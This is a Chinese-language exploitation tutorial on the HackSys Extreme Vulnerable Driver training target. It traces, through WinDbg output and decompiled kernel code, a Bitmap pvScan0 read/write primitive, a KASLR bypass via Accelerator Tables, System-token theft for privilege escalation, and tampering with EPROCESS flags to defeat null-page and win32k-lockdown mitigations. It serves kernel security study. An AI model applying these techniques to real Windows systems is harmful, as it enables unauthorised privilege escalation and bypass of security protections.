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【技术分享】HEVD内核漏洞训练——陪Windows玩儿

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【技术分享】HEVD内核漏洞训练——陪windows玩儿

2017-02-28 15:45:24
来源:安全客 作者:k0shl

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【技术分享】HEVD内核漏洞训练——陪Windows玩儿
作者:k0shl

预估稿费:600RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

前段时间在博客写了一篇关于HEVD内核漏洞利用训练的一篇文章,感觉当时做HEVD收获很大,非常推荐这个训练,这是HackSys Team做的一个Kernel Driver,里面包含了大量的常见漏洞,而且漏洞原理都非常简单,考验的就是各种各样的利用方法,推荐在Win10下尝试,有各种各样经典的利用方法,比如gsharedInfo,GdiSharedHandleTable,NtAllocateVirtualMemory,替换token的shellcode等等。

对这个训练的研究学习会对内核漏洞的原理,利用方式,Windows下很多常见的数据结构有一个初步的了解,从此打开Ring0的大门。

HEVD项目地址:https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

对于内核漏洞入门,我推荐的入门方式就是HEVD -> CVE-2014-4113 -> MS15-061,第一个是训练,后两个是实际环境中的漏洞。感觉在Ring0实在是太有意思了(不断被吊打,不断爬起来)!

HEVD:http://bobao.360.cn/learning/detail/3448.html

CVE-2014-4113:http://bobao.360.cn/learning/detail/3170.html

Windows在高版本中采取了越来越多的保护措施来防止漏洞利用,这让攻击变得越来越有意思,很多防护限制让很多漏洞利用变得难上加难,在这篇文章中,我将针对HEVD的一个任意内存读写漏洞,利用Cn33liz的一个Exploit来完成攻击并分析整个过程。

这次攻击有一个主角,那就是Bitmap,本文主要分析在最新Win10版本以及Win8下,Bitmap到底有多强大的威力。


【技术分享】HEVD内核漏洞训练——陪Windows玩儿

在本文中,我将首先简单介绍一下Bitmap,最新Win10的KASLR机制,对Bitmap造成的影响,以及如何利用Accelerator Table来bypass KASLR。接下来我将和大家分享如何用SetBitmap和GetBitmap来完成攻击,以及攻击的主角,_SURFOBJ中的一个关键结构pvScan0。然后我将和大家分享Win10中的一些疑点,可能是坑,反正至今仍有一些疑惑在里面,接下来,我将结合我的偶像MJ0011在HITCON上一个关于Win8安全特性的演讲,移步Win8,来看看Bitmap的超级杀伤力,以及这些安全特性的防护机制。文末我将把我在Win10和Win8下实验的源码放出来,这个源码中包含对抗Win10和Win8的防护机制的一些过程,是基于Cn33liz大牛的源码改写。文中所有的测试都是基于我改写的源码完成的,相应的注释都在源码中,改动源码仓促也不够漂亮,望大家海涵。因为多次重新调试,地址有变化,可以结合文字一起研究学习。

本文所用原源码项目地址:https://github.com/Cn33liz/HSEVD-ArbitraryOverwriteGDI

关于这个漏洞成因,我不再进行详细的讲解,HackSys team的Github项目里有详细说明,这个任意写漏洞就是可以向指定地址写进指定值,而没有对写入地址和写入内容的合法性进行检查。测试环境是最新版Win10。


【技术分享】HEVD内核漏洞训练——陪Windows玩儿

陪Win10玩儿--CreateBitmap和KASLR

我之前的那篇HEVD的分享中,是在Windows7下面完成的,在Win7下面,我们拥有很多自由,可以向很多特殊的位置、结构写入shellcode,并且在内核态完成shellcode的执行。但是在Win10中,增加了茫茫多的限制,很多利用变得很困难,shellcode似乎变得不太可行。

而在FuzzySecurity中也提到了data attack,在众多限制下,Bitmap给我们提供了一个极大的便捷,这种攻击手段威力很强,非常有趣。

在Windows10中,我们需要获取Bitmap的内核地址,然后利用Bitmap这种_SURFOBJ结构的一个特殊成员变量来完成攻击,也就是我们后面要提到的pvScan0。

在之前版本的Win10中,可以通过一个特殊的结构GdiSharedHandleTable来获得Bitmap的内核对象地址。这个GdiSharedHandleTable是PEB结构体中的一个结构。而里面存放的内容是一个GDICELL64结构。关于在老版本Win10中利用GdiSharedHandleTable如何来获得Bitmap并进行攻击我不再详述,在文章末尾,我会给出一篇非常棒的技术文章,里面详述了这种攻击方式。

在新版本Win10中,fix了这种方法,GdiSharedHandleTable获得的地址,不再是一个有效的pkernelAddress,也就是说,即使我们通过这种方式和createbitmap的handle获得了一个地址,然而并不是真正的pkernelAddress,当然我们的主角pvScan0也不正确。

kd>dt@$PEBnt!_PEBGdiSharedHandleTable// +0x0f8GdiSharedHandleTable:0x00000000`00e00000Void kd>db0x00000000`00e00000+0x0b69*0x18L8 00000000`00e111d8690bc2ffffffffffi....... kd>ddffffffffffc20b69 ffffffff`ffc20b69???????????????????????????????? kd>ddffff9f9683d01000 ffff9f96`83d01000270501ac000000000000000000000000 ffff9f96`83d0101000000000000000000000000000000000

可以看到,在通过GdiSharedHandleTable获得的Bitmap的内核地址是一个为开辟的内核空间和真正的Bitmap内核地址有所区别。这时候,gSharedInfo出现了,这个gSharedInfo是一个非常经典的结构,在很多kernel exploitation都出现过,它其中包含着内核结构,我们可以通过它获得内核表,然后通过计算偏移得到内核对象地址。

解决这种问题的方法就是用AcceleratorTable加速键表,我之前的内核漏洞调试笔记之二调试的CVE-2015-2546就是用的加速键表,制造一个稳定的内存空洞,连续申请释放内存,直到两次申请释放的AccleratorTable的内核句柄相同,则再申请相同大小的bitmap,这样就能获得GDI对象了,再通过这个对象的phead就是pkernelAddress。


【技术分享】HEVD内核漏洞训练——陪Windows玩儿

如何获得呢?在这个handleentry里有一个aheList,其中包含了一个phead对象,它就是指向pkerneladdress的。来看一下gSharedInfo的地址,这里我也不知道为什么,感觉可能是Win10很多win32k的结构体不透明化了,看不到tagSharedInfo的结构体,感觉像被隐藏了。

kd>?user32!gsharedinfo//获得gsharedinfo的地址值 Evaluateexpression:140725741012608=00007ffd`43cdc680

获得了gSharedInfo的地址之后,我们可以通过Accelerator Table的handle,获取到gSharedInfo结构中的aheList对应的内核句柄值。

kd>dd7ffd43cdc680//查看地址值的内容 00007ffd`43cdc6800136070000000000011e000000000000 kd>dtwin32k!tagSHAREDINFO//由于调试时tagSHAREDINFO不透明,这里只能 //从网上拷贝一个方便说明 +0x000psi:tagSERVERINFO +0x008aheList:_HANDLEENTRY kd>dq7ffd43cdc680+0x8L1//+0x8位置的HANDLEENTRY就是我们要的表 00007ffd`43cdc68800000000`011e0000

这样就能得到句柄实际内核地址的表了,也就是指向GDI对象的表,这里就要计算对应的偏移了,计算方法其实和之前GdiSharedHandleTable很像,那个算对应GDICELL64地址的计算方法是:

GdiSharedHandleTable+(handle & 0xffff)*sizeof(GDICELL64)

这里就用_HANDLETABLE_ENTRY + (Accel & 0xffff)*sizeof(Accel)算出地址,这里Accel的值是:

kd>reax eax=1700b9 kd>p 0033:00007ff6`956112d1488d1449leardx,[rcx+rcx*2]//计算handle的值 kd>p 0033:00007ff6`956112d5488bc8movrcx,rax kd>rrdx rdx=000000000000022b//handle的值为22b kd>dd11e0000+22b*8L1//11e0000是刚才获得的HANDLENTRY,计算出偏移 //指向的就是GDI对象 00000000`011e115881be7000ffffbad3

紧接着调用DestroyAcceleratorTable释放这个加速键表,可以看到对应句柄内核指针的值也被释放了。注意这里申请的Accelerator Table的大小是700,同样如果制造出一个稳定的hole之后,申请bitmap的大小也是700。

kd>p 0033:00007ff6`956112d8488b5cd500movrbx,qwordptr[rbp+rdx*8] kd>p 0033:00007ff6`956112ddff15451f0000callqwordptr[00007ff6`95613228] kd>p 0033:00007ff6`956112e3babc020000movedx,2BCh kd>dd11e0000+22b*8//对应索引的位置GDI对象被释放 00000000`011e11580000042f00000000

可以看到,对应位置存放的GDI对象也释放掉了,再次通过Create申请Accelerator Table。

0033:00007ff6`956112ebff152f1f0000callqwordptr[00007ff6`95613220] kd>p//返回值eax 0033:00007ff6`956112f10fb7c8movzxecx,ax kd>rrax rax=00000000001800b9 kd>p 0033:00007ff6`956112f4488d1449leardx,[rcx+rcx*2] kd>p 0033:00007ff6`956112f8488bc8movrcx,rax kd>rrdx//计算获得handle,和上一次申请的handle值一样 rdx=000000000000022b kd>dd11e0000+22b*8//查看pkernelAddress 00000000`011e115881be7000ffffbad3 kd>ddffffbad381be7000l90//对应位置存放的值,+0x0位置就是phead //GdiSharedHandleTable被fix,可以用这个方法 ffffbad3`81be7000001800b9000000000000000000000000 ffffbad3`81be70100000000000000000000002bc00000000

句柄虽然改变但是对应索引位置在shared info handle entry的值仍然是相同的,这样,再次在相同位置申请bitmap,首先释放,来看下pkernelAddress的值:

kd>p 0033:00007ff6`95611311ff15111f0000callqwordptr[00007ff6`95613228] kd>p 0033:00007ff6`9561131733c9xorecx,ecx kd>ddffffbad381be7000//查看GDI对象的内容也被释放 ffffbad3`81be7000???????????????????????????????? ffffbad3`81be7010???????????????????????????????? ffffbad3`81be7020????????????????????????????????

指向的空间也被释放了,随后通过CreateBitmap申请bitmap,大小同样是700,来占用Accelerator制造的稳定内存空洞。调用CreateBitmap之后占用了内存空洞。这样,我们直接找到ffffbad381be7000这个GDI对象。

kd>p//调用CreateBitmap创建Bitmap 0033:00007ff6`95611345ff15dd1c0000callqwordptr[00007ff6`95613028] kd>p//创建成功返回 0033:00007ff6`9561134b488906movqwordptr[rsi],rax kd>ddffffbad381be7000//查看原来AcceleratorTable的内核地址位置的值 ffffbad3`81be700096050bd0ffffffff0000000000000000

可以看到,我们成功获得了Bitmap的pkernelAddress,就是0xffffffff96050bd0,这样,我们就成功在KASLR和fix GdiSharedHandleTable下,完成了bitmap pkernelAddress的获取。


SetBitmap/GetBtimap和pvScan0

利用gSharedInfo获取aheList,从而得到Accelerator Table在gshareInfo中的GDI对象从而获得内核地址,利用Accelerator Table制造稳定的内存空洞,最后绕过KASLR和获取Bitmap的pkernelAddress的目的就是获得pvScan0这个结构,这个是Bitmap之所以成为data attack的核心。

这里我要提一下,在调试过程中,我们需要用__asm int 3来下断点,但是在64位下VS不支持内联汇编,因此我们在项目中创建一个.asm文件,实现int 3功能,再将其编译,在项目主文件中用Int_3()来下软中断(详见我的源码),这样我们在SetBitmap下断点,首先命中GDI32!SetBitmapBitsStub:

kd>p GDI32!SetBitmapBitsStub+0x1c: 0033:00007fff`bd5b44ac488bd9movrbx,rcx kd>p//调用GDI32的IsTextOutAPresent->IsSetWorldTransformImplPresent函数 GDI32!SetBitmapBitsStub+0x1f: 0033:00007fff`bd5b44afe878b50000callGDI32!IsTextOutAPresent(00007fff`bd5bfa2c)

随后会到达call IsTextOutAPresent函数调用,这个函数在GDI32的实现是IsSetWorldTransformmImplPresent。

charIsSetWorldTransformImplPresent() { charresult;//al@2 charv1;//[sp+30h][bp+8h]@5 if(dword_18002E670==1)//dword_18002E670检查是否为1 { result=dword_18002E670; } elseif(dword_18002E670==2||(v1=0,ApiSetQueryApiSetPresence((__int64)L"LN",(__int64)&v1)<0)) { result=0; } else { result=v1; dword_18002E670=2-(v1!=0); } returnresult; }

这个函数主要是对dword_18002E670这个值进行判断,这个值是hmod ext ms win gdi internal desktop l1.1.0.dll+0x8位置的一个结构体变量,若为1则直接返回。

kd>p GDI32!IsUpdateColorsPresent+0x4://获取dll+0x8位置的值 0033:00007fff`bd5bfa308b0d3aec0100movecx,dwordptr[GDI32!_hmod__ext_ms_win_gdi_internal_desktop_l1_1_0_dll+0x8(00007fff`bd5de670)] kd>dd00007fff`bd5de670//这个位置的值为1,后面是dll函数偏移 00007fff`bd5de67000000001000000000000000000000000 00007fff`bd5de680ba17ba2000007fffba17423000007fff 00007fff`bd5de690ba1765d000007fffba1eafa000007fff kd>p GDI32!IsUpdateColorsPresent+0xa://将这个值和1作比较 0033:00007fff`bd5bfa3683f901cmpecx,1 kd>recx ecx=1

这个可能是判断ext_ms_win_gdi_internal_desktop_l1.1.0.dll的加载情况,_imp_SetBitMapBits就链在这个dll中,随后会跳转。到zwGdiSetBitmapBits中。

kd>p//调用_imp_SetBitmapBits函数 GDI32!SetBitmapBitsStub+0x30: 0033:00007fff`bd5b44c0ff15c2be0200callqwordptr[GDI32!_imp_SetBitmapBits(00007fff`bd5e0388)] kd>t//跳转到NtGdiSetBitmapBits gdi32full!SetBitmapBits: 0033:00007fff`ba17bcf048ff2509290900jmpqwordptr[gdi32full!_imp_NtGdiSetBitmapBits(00007fff`ba20e600)] kd>p win32u!ZwGdiSetBitmapBits: 0033:00007fff`ba2d26f04c8bd1movr10,rcx //随后会进入ZwGdiSetBitmap .text:0000000180003330publicZwGdiSetBitmapDimension .text:0000000180003330ZwGdiSetBitmapDimensionprocnear;DATAXREF:.rdata:000000018000A544_x0019_o .text:0000000180003330;.rdata:off_18000C608_x0019_o... .text:0000000180003330movr10,rcx .text:0000000180003333moveax,1118h .text:0000000180003338testbyteptrds:7FFE0308h,1 .text:0000000180003340jnzshortloc_180003345 .text:0000000180003342syscall .text:0000000180003344retn

syscall是AMD CPU下的sysenter,以此进入内核层,由于64位下没有nt!KiFastCallEntry,而改用的是nt!KiSystemCall64,在64位系统下启用了四个新的MSR寄存器,有不同的作用,其中MSR_LSTAR保存的是rip的相关信息,可以通过rdmsr c0000082的方法查看到syscall跳转地址。这个地址正是nt!KiSystemCall64的入口地址。

kd>rdmsrc0000082 msr[c0000082]=fffff801`7cb740c0 nt!KiSystemCall64: 0033:fffff801`7cb740c00f01f8swapgs 0033:fffff801`7cb740c3654889242510000000movqwordptrgs:[10h],rsp

到此,我们进入SetBitmap的内核态,之所以pvScan0这么重要,是因为SetBitmap会对pvScan0指向的内容写数据,GetBitmap会获取pvScan0指向的内容。这样,我们可以设置一个Manager Bitmap(以下称为M)和一个Work Bitmap(以下称为W),将M的pvScan0修改成W的pvScan0地址,这样每次就能用在M上调用SetBitmap将W的pvScan0内容修改成我们想要读或者写的地址,再调用Get/Set Bitmap来向指定地址读取/写入数据了。这么说有点乱,来看一下整个过程。

通过AcceleratorTable制造内存空洞占位获取Bitmap的pkernelAddress之后,可以获取到pvscan0的值,其中M存放W的pvscan0所存放的地址,而W的pvscan0用于最后写入相关的内容,这样我们调用setbitmapbits函数的时候,会将M的pvscan0里存放地址指向的值修改为要写入的地址。

kd>dqffffbad383ae9050L1//M的pvScan0,现在指向W,这样每次修改,相当//于修改W的pvScan0 ffffbad3`83ac8050ffffbad3`83aeb050 kd>dqffffbad383aeb050L1//W的pvScan0,所在地址值就是M的pvScan0值 ffffbad3`83ac8050ffffe28d`12762af0//要修改的就是这个值,向这个值的内容 //读取/写入数据

这里就会将ffffbad383aeb050中的值改写,因此在这里下内存写入断点。

kd>baw1ffffbad383aeb050//向W的pvScan0下内存写入断点 kd>p Breakpoint0hit win32kfull!memmove+0x1cf://中断在win32kfull!memmove函数中 ffffbab6`0b940f0f75efjnewin32kfull!memmove+0x1c0(ffffbab6`0b940f00) kd>bl 0effffbad383aeb050w10001(0001) kd>kb RetAddr:ArgstoChild:CallSite ffffbab6`0b88405c:00000000`00fff8a000000000`0000000000000000`00000a9affffbab6`0bbbf1da:win32kfull!memmove+0x1cc ffffbab6`0b883e1a:ffffbad3`83ae900000000000`00000000ffffffff`00000008fffff801`00000704:win32kfull!bDoGetSetBitmapBits+0x168 00000000`00000000:00000000`0000000000000000`0000000000000000`0000000000000000`00000000:win32kfull!GreSetBitmapBits+0x17a kd>dqffffbad383adc050L1//这里会写入新的pvScan0,这个值是当前进程的//token地址 ffffbad3`83aeb050ffffe28d`12762b58 kd>!process00//查看当前进程 PROCESSffffe28d12762800 SessionId:1Cid:10ccPeb:011cb000ParentCid:1124 DirBase:48d5b000ObjectTable:ffffa709d16d1640HandleCount:<DataNotAccessible> Image:Stop_by_win10.exe kd>dtnt!_EPROCESSTokenffffe28d12762800 +0x358Token:_EX_FAST_REF kd>dqffffe28d12762800+358L1//看看token值,就是pvScan0的值 ffffe28d`12762b58ffffa709`d1903996

在Win10中,绝大多数的win32k.sys实现都在win32full里完成,这里利用M的pvScan0完成了对W的pvScan0值的修改,使之指向了当前进程的Token,接下来只需要调用GetBitmap/SetBitmap通过W的pvScan0,就可以完成对Token的读取和修改,从而完成提权。

kd>!process04//获取System_EPROCESS结构 ****NTACTIVEPROCESSDUMP**** PROCESSffffe28d0f662040 SessionId:noneCid:0004Peb:00000000ParentCid:0000 DirBase:001aa000ObjectTable:ffffa709c88032c0HandleCount:<DataNotAccessible> Image:System kd>dqffffe28d0f662040+358L1//得到SystemToken值 ffffe28d`0f662398ffffa709`c88158ad kd>p//调用setBitmap将这个值写入当前进程的地址 0033:00007ff7`9dd2217f488bcemovrcx,rsi kd>g Breakinstructionexception-code80000003(firstchance) 0033:00007ff7`9dd222b0ccint3 kd>!process//当前进程的_EPROCESS PROCESSffffe28d12cb2080 SessionId:1Cid:0b48Peb:0117d000ParentCid:1124 DirBase:320b6000ObjectTable:ffffa709d5f84500HandleCount:<DataNotAccessible> Image:Stop_by_win10.exe kd>dqffffe28d12cb2080+358L1//利用SetBitmap替换后,当前进程Token变成了//SystemToken,提权完成 ffffe28d`12cb23d8ffffa709`c88158ad
【技术分享】HEVD内核漏洞训练——陪Windows玩儿

我和大家分享了pvScan0在Bitmap这种data attack中的核心地位,Bitmap的pkernelAddress的获取方法和如何通过pvScan0完成攻击,接下来,我将结合偶像MJ0011的PPT,来讲一下Win10的一些坑,以及回归Win8下来看一下MJ0011的PPT中介绍的一些防护机制,和Bitmap的威力。

被Win10吊打的日子

在MJ0011的PPT中介绍了几种防护机制,比如禁零页,禁Win32k调用,SMEP,ExPoolWithTagNX等等。本来刚开始想在Win10下进行实验,但是发现Win10下有很多奇怪的坑。这里简单提一下几种防护机制:

1、禁零页,NtAllocateVirtualMmemory是现在常用的内核漏洞利用手法,Win8 _EPROCESS增加了一比特的Flags.VdmAllowed,当为0时禁用,当为1时可用。

2、禁Win32k,Win32k存在很多漏洞,比如UAF,我在前面两个经典内核漏洞调试的分享中都是Win32k出的问题,这里通过_EPROCESS结构增加一比特的Flags2.DisallowWin32kSystemCalls禁用调用。

3、SMEP,在内核漏洞利用中,通常是利用内核态的一些失误执行用户态申请的空间存放的shellcode,这里直接通过SMEP禁止在内核态执行用户态空间的代码。这里,我将以禁Win32k调用和禁零页来做实验,利用的就是Bitmap来修改这两个比特的值,看看能不能绕过禁用机制,首先来看一下当前进程,以及对应的两个值。

kd>!process PROCESSffffe28d12cb2080 SessionId:1Cid:0b48Peb:0117d000ParentCid:1124 DirBase:320b6000ObjectTable:ffffa709d5f84500HandleCount:<DataNotAccessible> Image:Stop_by_win10.exe kd>dtnt!_EPROCESSVdmAllowedffffe28d12cb2080 +0x304VdmAllowed:0y0//标志位为0,禁用零页 kd>dtnt!_EPROCESSDisallowWin32kSystemCallsffffe28d12cb2080 +0x300DisallowWin32kSystemCalls:0y0//标志位为1,默认不禁用Win32k kd>ddffffe28d12cb2080+300L4//查看一下Flags2和Flags的值 ffffe28d`12cb23800000d000144d0c01a1beb1e101d288e0 可以看到,在当前进程Win32k API是不禁用的,也就是说,我们仍然可以直接调用Win32k的API,而NtAllocateVirtualMemory则处于禁用状态。对于Flags来说是0000d0000,Flags2来说是144d0c01,这样把它们转换成二进制,把对应比特位置换为1(这个内容可以在我的源码中看到),然后赋值给各自的Flags。
kd>rr13//获取两个Flags值,并且修改比特位之后的值 r13=a1beb1e1164d0c00 kd>rr14 r14=144d0c018000d000 kd>g//命中软中断 Breakinstructionexception-code80000003(firstchance) 0033:00007ff7`9dd222b0ccint3 kd>g Breakinstructionexception-code80000003(firstchance) 0033:00007ff7`9dd222b0ccint3 kd>ddffffe28d12cb2080+300L4//修改后,通过SetBitmap写入偏移 ffffe28d`12cb23808000d000164d0c01a1beb1e101d288e0

这里我采用了Win7零页分配的方法,handle选择0xffffffffffffffff,但是发现在Win10中,会调用ObpReferenceObjectByHandleWithTag函数Check handle,如果不是一个有效的handle,则直接返回,NTSTATUS直接报错。

kd>p nt!MiAllocateVirtualMemory+0x7b8: fffff801`7cee27c8498bcamovrcx,r10 kd>p//ObpReferenceObjectByHandleWithTagcheckhandle nt!MiAllocateVirtualMemory+0x7bb: fffff801`7cee27cbe8a0070100callnt!ObpReferenceObjectByHandleWithTag(fffff801`7cef2f70) kd>p nt!MiAllocateVirtualMemory+0x7c0: fffff801`7cee27d089442464movdwordptr[rsp+64h],eax kd>reax//没有这个handle则返回NTSTATUS eax=c0000008 //ObpReferenceObjectByHandleWithTag检查逻辑 if((BugCheckParameter1&0x80000000)!=0i64) { if(BugCheckParameter1==-1i64)//如果handle值为0xfff....ff { if(v9!=PsProcessType&&v9) { LODWORD(v12)=-1073741788; } else { v37=*(_QWORD*)(v8+184); if(v11&0xFFE00000&&a4) { LODWORD(v12)=-1073741790; } …… } return(unsignedint)v12;//C0000008 } if(BugCheckParameter1==-2i64) { } }

这样,我们就只能修改代码通过OpenProcess获得当前进程handle,并且将VdmAllowed置1,但是发现即使NTSTATUS返回0,也就是STATUS_SUCCESS,仍然无法申请零页位置的内存。

kd>!process PROCESSffffe28d12fb0080 SessionId:1Cid:10b0Peb:00ddb000ParentCid:1124 DirBase:51685000ObjectTable:ffffa709d9138200HandleCount:<DataNotAccessible> Image:Stop_by_win10.exe kd>dtnt!_EPROCESSVdmAllowedffffe28d12fb0080//当前VdmAllowed为1 +0x304VdmAllowed:0y1 kd>p 0033:00007ff7`16e7204cff55a0callqwordptr[rbp-60h] kd>p 0033:00007ff7`16e7204f0f28b424e0040000movapsxmm6,xmmwordptr[rsp+4E0h] kd>p 0033:00007ff7`16e7205785c0testeax,eax kd>reax//NTSTATUS返回0,也就是STATUS_SUCCESS eax=0 kd>dd4600000000//对应位置零页仍然无法申请 00000046`00000000???????????????????????????????? 00000046`00000010????????????????????????????????

同样,我们修改Win32k为1,这样就禁用了win32k调用,可以发现,在禁用后,会阻止win32k的调用,从而无法初始化cmd。关于win32k调用的逻辑后面会讲到。


【技术分享】HEVD内核漏洞训练——陪Windows玩儿

回归Win8看防护之NtAllocateVirtualMemory

接下来我们回到Win8 x86,来看一下NtAllocateVirtualMemory的防护到底是怎样的。这里请使用文末我修改后的适用于win8 x86的代码。首先是禁用零页申请内存。我们首先在禁用零页时调试,首先进入内核态,从ntdll进入nt。

kd>p 001b:77d4f04de803000000call77d4f055//调用NtAllocateVirtualMemory kd>t 001b:77d4f0558bd4movedx,esp 001b:77d4f0558bd4movedx,esp 001b:77d4f0570f34sysenter//x86下用sysenter进入内核态 001b:77d4f059c3ret 在nt!NtAllocateVirtualMemory下断点跟踪,在入口处会先将Handle、BaseAddress等内容传入寄存器(用于各种检查,比如对Handle检查合法性,在之前已经提过),接下来会通过fs:[0x124]获取到_KTHRAD结构 kd>p nt!NtAllocateVirtualMemory+0x34://获取KTHREAD结构 81a891a2648b3d24010000movedi,dwordptrfs:[124h] kd>p nt!NtAllocateVirtualMemory+0x3b: 81a891a9897da8movdwordptr[ebp-58h],edi kd>redi edi=86599bc0 kd>dtnt!_KTHREAD86599bc0 +0x000Header:_DISPATCHER_HEADER +0x010SListFaultAddress:(null)

之后会将_KTHREAD+0x80偏移的值交给eax寄存器,偏移加0x80实际上就是EPROCESS结构,这个位置属于APC域,这个位置在KTHREAD+0x70的位置,而EPROCESS又保存在KAPC_STATE+0x10的位置

kd>p//edi是KTHREAD,eax的值是EPROCESS nt!NtAllocateVirtualMemory+0x3e: 81a891ac8b8780000000moveax,dwordptr[edi+80h] kd>p nt!NtAllocateVirtualMemory+0x44: 81a891b28945b0movdwordptr[ebp-50h],eax kd>reax eax=85a44040 kd>!process PROCESS85a44040SessionId:1Cid:0860Peb:7f74d000ParentCid:0f08 DirBase:3df14300ObjectTable:8c173740HandleCount:<DataNotAccessible> Image:Stop_by_win10.exe kd>dtnt!_KTHREADApcState//偏移加0x70 +0x070ApcState:_KAPC_STATE kd>dtnt!_KAPC_STATE//偏移加0x10,一共是0x80,对应的位置是EPROCESS +0x000ApcListHead:[2]_LIST_ENTRY +0x010Process:Ptr32_KPROCESS 接下来我们单步跟踪,到达一处判断,这里会将BaseAddress和0x10000作比较,小于则跳转到另一处判断
kd>p nt!NtAllocateVirtualMemory+0x9b7: 81a89b253bd0cmpedx,eax kd>redx edx=00000060 kd>reax eax=00010000 kd>p nt!NtAllocateVirtualMemory+0x9b9://如果申请地址值小于0x1000,则跳转 81a89b270f8257781200jbnt!??::NNGAKEGL::`string'+0x19d1a(81bb1384) kd>p nt!??::NNGAKEGL::`string'+0x19d1a: 81bb1384f787c400000000000001testdwordptr[edi+0C4h],1000000h kd>ddedi+c4L1//edi+0C4就是Flags 85a44104144d0c01 kd>p nt!??::NNGAKEGL::`string'+0x19d24://这里会将VdmAllowed值作比较判断 81bb138e0f859987edffjnent!NtAllocateVirtualMemory+0x9bf(81a89b2d)

这个值很有意思,就是_EPROCESS.Flags2的值,来看一下,而这里判断的就是Flags2中的一个比特位VdmAllowed

kd>dtnt!_EPROCESSFlags85a44040 +0x0c4Flags:0x144d0c01 kd>dtnt!_EPROCESSVdmAllowed85a44040 +0x0c4VdmAllowed:0y0

这里值为0,也就是禁用零页分配,因此这里分配不成功将会进入处理,返回C00000F0

kd>p nt!??::NNGAKEGL::`string'+0x19d2a: 81bb1394bef00000c0movesi,0C00000F0h kd>p nt!??::NNGAKEGL::`string'+0x19d2f: 81bb1399e94c87edffjmpnt!NtAllocateVirtualMemory+0x97c(81a89aea)

我们来看一下NtAllocateVirtualMemory相关逻辑的伪代码。

NTSTATUS__stdcallNtAllocateVirtualMemory(HANDLEProcessHandle,PVOID*BaseAddress,ULONGZeroBits,PULONGAllocationSize,ULONGAllocationType,ULONGProtect) { v65=ProcessHandle; v68=BaseAddress; v67=AllocationSize; v7=__readfsdword(292);//获取_KTHREAD结构 v76=v7; v78=*(PVOID*)(v7+128);//获取+0x80EPROCESS结构 …… PreviousMode[0]=*(_BYTE*)(v7+346); ms_exc.registration.TryLevel=0; v9=v68;//传递地址值 …… v12=(unsignedint)*v9;//BaseAddress连续传递 v74=v12;//再次传递 if(v74<0x10000&&!(*(_DWORD*)(v14+196)&0x1000000))//判断v74BaseAddress是否小于10000,如果小于会认为是零页内存分配,则会判断v14+196,也就是Flags.VdmAllowed是否允许分配 { v25=0xC00000F0;//如果是零页分配且禁用零页分配,则返回C00000F0 gotoLABEL_145; } } 我们尝试使用Bitmap来修改VdmAllowed看看能不能进行零页分配,继续执行到达我们setbitmap的地方。
kd>g Breakinstructionexception-code80000003(firstchance) 001b:00021d21ccint3 kd>dtnt!_EPROCESSVdmAllowed85a44040 +0x0c4VdmAllowed:0y1

可以看到VdmAllowed被改掉了,进入刚才的判断

kd>g Breakpoint1hit nt!NtAllocateVirtualMemory+0x9b7://判断edx小于1000 81a89b253bd0cmpedx,eax kd>redx edx=00000060 kd>p nt!NtAllocateVirtualMemory+0x9b9: 81a89b270f8257781200jbnt!??::NNGAKEGL::`string'+0x19d1a(81bb1384) kd>p//判断VdmAllowed为1,允许零页申请 nt!??::NNGAKEGL::`string'+0x19d1a: 81bb1384f787c400000000000001testdwordptr[edi+0C4h],1000000h kd>p nt!??::NNGAKEGL::`string'+0x19d24: 81bb138e0f859987edffjnent!NtAllocateVirtualMemory+0x9bf(81a89b2d) kd>p nt!NtAllocateVirtualMemory+0x9bf://跳转到正常流程,而不返回C0000F0 81a89b2d8bc6moveax,esi

可以看到,绕过了刚才的判断,接下来直接执行,可以看到,NtAllocateVirtualMemory返回了STATUS_SUCCESS(图)


【技术分享】HEVD内核漏洞训练——陪Windows玩儿

回归Win8看防护之Win32k.sys

下面我们来看一下Win32k的API禁用的情况,当然这里默认Disallow的比特位也是为0,也就是在当前进程不禁用Win32k系统调用,在PsConvertToGuiThread函数中。

kd>p nt!PsConvertToGuiThread+0x9://获得KTHREAD结构 81b0c67f648b3524010000movesi,dwordptrfs:[124h] kd>resi esi=8548b040 kd>dtnt!_KTHREAD8548b040 +0x000Header:_DISPATCHER_HEADER +0x010SListFaultAddress:(null) kd>p nt!PsConvertToGuiThread+0x2c://ecx获得EPROCESS结构 81b0c6a28b8e80000000movecx,dwordptr[esi+80h] kd>p nt!PsConvertToGuiThread+0x32://对应Flags2的偏移 81b0c6a8f781c000000000000080testdwordptr[ecx+0C0h],80000000h kd>dtnt!_EPROCESSFlags28548b040+70 +0x0c0Flags2:0x1020201 kd>dtnt!_EPROCESSDisallowWin32kSystemCalls +0x0c0DisallowWin32kSystemCalls:0y0//判断Disallow比特位的值 这里DisallowWin32kSystemCalls的比特位为0,也就是允许win32k调用,这里到达一处条件判断,判断的就是这个比特位,如果为1,则会跳转返回C0000005,当前状态为0,允许执行时,会继续执行。
kd>p nt!PsConvertToGuiThread+0x3c: 81b0c6b2757ejnent!PsConvertToGuiThread+0xbc(81b0c732) kd>p nt!PsConvertToGuiThread+0x3e: 81b0c6b48d55ffleaedx,[ebp-1]

接下来,我们注释掉还原的setbitmap部分,重新执行,看到Disallow比特位为1,这时候程序会进入错误处理,返回C0000022

kd>dtnt!_EPROCESSDisallowWin32kSystemCalls866654c0 +0x0c0DisallowWin32kSystemCalls:0y1//对应比特位为1 kd>p nt!PsConvertToGuiThread+0x32: 81b0c6a8f781c000000000000080testdwordptr[ecx+0C0h],80000000h //判断Flags2.DisallowedWin32kSystemCalls kd>p nt!PsConvertToGuiThread+0x3c: 81b0c6b2757ejnent!PsConvertToGuiThread+0xbc(81b0c732) kd>p nt!PsConvertToGuiThread+0xbc: 81b0c732b8220000c0moveax,0C0000022h//进入错误判断,返回C0000022

来看下这段代码逻辑。


signedint__stdcallPsConvertToGuiThread() { v0=__readfsdword(292);//获取_KTHREAD结构体 if(*(_BYTE*)(v0+346))//判断_KTHREAD结构体的PreviousMode { if(*(int**)(v0+60)==&KeServiceDescriptorTable)//检查是否是win32的线程 { v1=*(_DWORD*)(v0+128); if(*(_DWORD*)(v1+192)&0x80000000)//判断DisallowedWin32kSystemCalls { result=0xC000022;//返回C000022STATUS_ACCESS_DENIED }

整个Win32k的检查过程是这样的,KiFastCallEntry -> KiEndUnexpectRange -> PsCovertToGUIThread。这个检查过程的依据是SSDT,系统调度表,当调用不在SSDT表时,也就是第一次调用Win32k System Call的时候,会检查win32k是否允许调用。如下代码逻辑:

